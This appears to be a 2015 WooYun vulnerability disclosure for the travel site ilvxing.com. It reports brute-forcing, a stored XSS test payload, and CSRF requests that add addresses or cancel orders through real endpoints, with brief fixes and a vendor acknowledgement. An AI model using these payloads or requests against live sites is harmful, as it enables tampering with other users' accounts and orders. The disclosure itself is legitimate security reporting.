当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：
wooyun-2015-0108712
漏洞标题：
爱旅行多处缺陷打包合集
相关厂商：
ilvxing.com
漏洞作者：
小龙
提交时间：
2015-04-21 12:24
修复时间：
2015-06-06 16:16
公开时间：
2015-06-06 16:16
漏洞类型：
未授权访问/权限绕过
危害等级：
高
自评Rank：
20
漏洞状态：
厂商已经确认
漏洞来源：
http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签：
无
分享漏洞：
4人收藏 收藏
分享漏洞：
>

漏洞详情

披露状态：

2015-04-21： 细节已通知厂商并且等待厂商处理中
2015-04-22： 厂商已经确认，细节仅向厂商公开
2015-05-02： 细节向核心白帽子及相关领域专家公开
2015-05-12： 细节向普通白帽子公开
2015-05-22： 细节向实习白帽子公开
2015-06-06： 细节向公众公开

简要描述：

打包给你们了，要给多分哦-。-

详细说明：

m.ilvxing.com


1# 爆破

1.png


2.png


3.png


4.png


5.png


6.png


7.png


2# 存储型xss
测试语句：

<img src="1" onerror=alert(/fuck/)>


8.png


http://visa.ilvxing.com/ucenter/user/delAddress/aid/***

***是要删除的ID
3# Csrf
电脑版：

http://visa.ilvxing.com/ucenter/user/addAddress


post数据:

add_id=&add_name=csrf&add_sex=1&add_birthday=2015-04-07&add_phone=13800138000&add_tel=&add_email=&province%5B%5D=%E5%8C%97%E4%BA%AC&city%5B%5D=%E5%8C%97%E4%BA%AC%E5%B8%82&district%5B%5D=%E4%B8%9C%E5%9F%8E%E5%8C%BA&detail%5B%5D=%E9%98%BF%E6%96%AF%E9%A1%BF&postcode%5B%5D=123456


12.png


13.png


手机版：http://api.ilvxing.com/api/morder/cancel
partnerID=ANDROID&version=2.2.0&cause=1&unix=20150417&uuid=359526051163237&sign=0ce2adb10542fe62736f81b463ac66b5&orderID=*****【***要删除的ID】9&plant=WanDouJia

14.png


访问前：

15.png


访问后：

16.png


漏洞证明：

m.ilvxing.com


1# 爆破

1.png


2.png


3.png


4.png


5.png


6.png


7.png


2# 存储型xss
测试语句：

<img src="1" onerror=alert(/fuck/)>


8.png


http://visa.ilvxing.com/ucenter/user/delAddress/aid/***

***是要删除的ID
3# Csrf
电脑版：

http://visa.ilvxing.com/ucenter/user/addAddress


post数据:

add_id=&add_name=csrf&add_sex=1&add_birthday=2015-04-07&add_phone=13800138000&add_tel=&add_email=&province%5B%5D=%E5%8C%97%E4%BA%AC&city%5B%5D=%E5%8C%97%E4%BA%AC%E5%B8%82&district%5B%5D=%E4%B8%9C%E5%9F%8E%E5%8C%BA&detail%5B%5D=%E9%98%BF%E6%96%AF%E9%A1%BF&postcode%5B%5D=123456


12.png


13.png


手机版：http://api.ilvxing.com/api/morder/cancel
partnerID=ANDROID&version=2.2.0&cause=1&unix=20150417&uuid=359526051163237&sign=0ce2adb10542fe62736f81b463ac66b5&orderID=*****【***要删除的ID】9&plant=WanDouJia

14.png


访问前：

15.png


访问后：

16.png


修复方案：

1：加个验证码
2：过滤特殊符号例如<>!@#$%^&*(
3:加个token

版权声明：转载请注明来源 小龙@乌云

>

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2015-04-22 16:14

厂商回复：

谢谢白帽子

最新状态：

暂无